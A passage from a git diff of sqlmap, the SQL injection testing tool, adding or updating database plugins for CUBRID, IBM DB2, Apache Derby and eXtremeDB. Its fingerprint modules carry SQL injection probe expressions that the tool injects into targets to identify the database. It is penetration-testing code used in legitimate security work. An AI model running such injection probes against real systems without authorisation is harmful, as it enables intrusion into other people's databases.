GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/CUBRID/cubrid-python + User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: BSD License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except CUBRIDdb.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except CUBRIDdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py new file mode 100644 index 00000000000..142b170108a --- /dev/null +++ b/plugins/dbms/cubrid/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Cubrid it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cubrid it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cubrid it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cubrid/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py new file mode 100644 index 00000000000..9d1a16c151d --- /dev/null +++ b/plugins/dbms/cubrid/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CUBRID_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CUBRID) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CUBRID + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES): + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))") + + if result: + infoMsg = "confirming %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DRAND()<2") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py new file mode 100644 index 00000000000..070abcd25b3 --- /dev/null +++ b/plugins/dbms/cubrid/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py new file mode 100644 index 00000000000..cb140d6c9c5 --- /dev/null +++ b/plugins/dbms/cubrid/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index c0a90b62674..9b70ae438ab 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,36 +1,30 @@ -#!/usr/bin/env python - -""" -$Id$ - -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.enums import DBMS -from lib.core.settings import DB2_SYSTEM_DBS -from lib.core.unescaper import unescaper - -from plugins.dbms.db2.enumeration import Enumeration -from plugins.dbms.db2.filesystem import Filesystem -from plugins.dbms.db2.fingerprint import Fingerprint -from plugins.dbms.db2.syntax import Syntax -from plugins.dbms.db2.takeover import Takeover -from plugins.generic.misc import Miscellaneous - -class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): - """ - This class defines DB2 methods - """ - - def __init__(self): - self.excludeDbsList = DB2_SYSTEM_DBS - - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) - - unescaper[DBMS.DB2] = Syntax.unescape +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import DB2_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.db2.enumeration import Enumeration +from plugins.dbms.db2.filesystem import Filesystem +from plugins.dbms.db2.fingerprint import Fingerprint +from plugins.dbms.db2.syntax import Syntax +from plugins.dbms.db2.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines DB2 methods + """ + + def __init__(self): + self.excludeDbsList = DB2_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.DB2] = Syntax.escape diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 842b84dbd12..0a8e96b7a34 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,57 +1,57 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi -except ImportError, _: +except: pass +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/ibm-db/ - User guide: http://code.google.com/p/ibm-db/wiki/README - API: http://www.python.org/dev/peps/pep-0249/ + Homepage: https://github.com/ibmdb/python-ibmdb + User guide: https://github.com/ibmdb/python-ibmdb/wiki/README + API: https://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError, msg: - raise sqlmapConnectionException, msg - + except ibm_db_dbi.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except ibm_db_dbi.ProgrammingError, msg: - logger.warn("(remote) %s" % msg[1]) + except ibm_db_dbi.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: - logger.warn("(remote) %s" % msg[1]) - except ibm_db_dbi.InternalError, msg: - raise sqlmapConnectionException, msg[1] + except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + except ibm_db_dbi.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index b90da4b8176..3a6c3599e35 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,22 +1,22 @@ -#!/usr/bin/env python - -""" -$Id$ - -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - - -from lib.core.data import logger -from plugins.generic.enumeration import Enumeration as GenericEnumeration - -class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - - def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to list password hashes" - logger.warn(warnMsg) - - return {} \ No newline at end of file +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 64dada3c9c8..2e61d83c07c 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + pass diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 363789a23e3..aa12d2ed11a 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ - from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import randomInt +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -23,7 +22,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DB2) - def __versionCheck(self): + def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): @@ -47,7 +46,7 @@ def __versionCheck(self): return None def getFingerprint(self): - value = "" + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: @@ -65,14 +64,16 @@ def getFingerprint(self): value += DBMS.DB2 return value - actVer = Format.getDbms() - blank = " " * 15 - value += "active fingerprint: %s" % actVer + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -82,7 +83,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True @@ -90,23 +91,31 @@ def checkDbms(self): logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) - randInt = randomInt() - result = inject.checkBooleanExpression("%d=(SELECT %d FROM SYSIBM.SYSDUMMY1)" % (randInt, randInt)) + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) - version = self.__versionCheck() + result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 + logger.warning(warnMsg) + + return False + version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) + else: + setDbms(DBMS.DB2) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -129,12 +138,14 @@ def checkDbmsOs(self, detailed=False): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: - versions = { "2003": ("5.2", (2, 1)), + versions = { + "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + "NT": ("4.0", (6, 5, 4, 3, 2, 1)) + } # Get back-end DBMS underlying operating system version for version, data in versions.items(): diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 655d7ba9b6f..7ba5c8b9f38 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,71 +1,22 @@ -#!/usr/bin/env python - -""" -$Id$ - -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.data import logger -from lib.core.exception import sqlmapSyntaxException -from plugins.generic.syntax import Syntax as GenericSyntax - -class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "" - - for i in xrange(firstIndex, lastIndex): - unescaped += "CHR(%d)" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "||" - - expression = expression.replace(old, unescaped) - else: - expression = "||".join("CHR(%d)" % ord(c) for c in expression) - - return expression - - @staticmethod - def escape(expression): - logMsg = "escaping %s" % expression - logger.info(logMsg) - while True: - index = expression.find("CHR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find(")") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.lstrip("CHR(").rstrip(")") - oldUpper = oldUpper.split("||") - - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped) - - return expression +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 2c144b09aa2..7c19fd8799c 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py new file mode 100644 index 00000000000..2b4f3104e87 --- /dev/null +++ b/plugins/dbms/derby/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import DERBY_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.derby.enumeration import Enumeration +from plugins.dbms.derby.filesystem import Filesystem +from plugins.dbms.derby.fingerprint import Fingerprint +from plugins.dbms.derby.syntax import Syntax +from plugins.dbms.derby.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Apache Derby methods + """ + + def __init__(self): + self.excludeDbsList = DERBY_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.DERBY] = Syntax.escape diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py new file mode 100644 index 00000000000..7be45f7412b --- /dev/null +++ b/plugins/dbms/derby/connector.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import drda +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/nakagami/pydrda/ + User guide: https://github.com/nakagami/pydrda/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + except drda.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except drda.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (drda.OperationalError, drda.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except drda.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + self.connector.commit() + except drda.OperationalError: + pass + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py new file mode 100644 index 00000000000..286d20b6c93 --- /dev/null +++ b/plugins/dbms/derby/enumeration.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Apache Derby it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Apache Derby it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getBanner(self): + warnMsg = "on Apache Derby it is not possible to enumerate the banner" + singleTimeWarnMessage(warnMsg) diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/derby/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py new file mode 100644 index 00000000000..76d67e89605 --- /dev/null +++ b/plugins/dbms/derby/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import DERBY_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.DERBY) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.DERBY + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES): + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") + + if result: + infoMsg = "confirming %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warning(warnMsg) + + return False + + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/derby/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py new file mode 100644 index 00000000000..c4c4ea098ce --- /dev/null +++ b/plugins/dbms/derby/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py new file mode 100644 index 00000000000..74072270325 --- /dev/null +++ b/plugins/dbms/extremedb/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import EXTREMEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.extremedb.enumeration import Enumeration +from plugins.dbms.extremedb.filesystem import Filesystem +from plugins.dbms.extremedb.fingerprint import Fingerprint +from plugins.dbms.extremedb.syntax import Syntax +from plugins.dbms.extremedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines eXtremeDB methods + """ + + def __init__(self): + self.excludeDbsList = EXTREMEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.EXTREMEDB] = Syntax.escape diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py new file mode 100644 index 00000000000..3c0083ad8cb --- /dev/null +++ b/plugins/dbms/extremedb/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on eXtremeDB it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py new file mode 100644 index 00000000000..c820b73e55a --- /dev/null +++ b/plugins/dbms/extremedb/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on eXtremeDB it is not 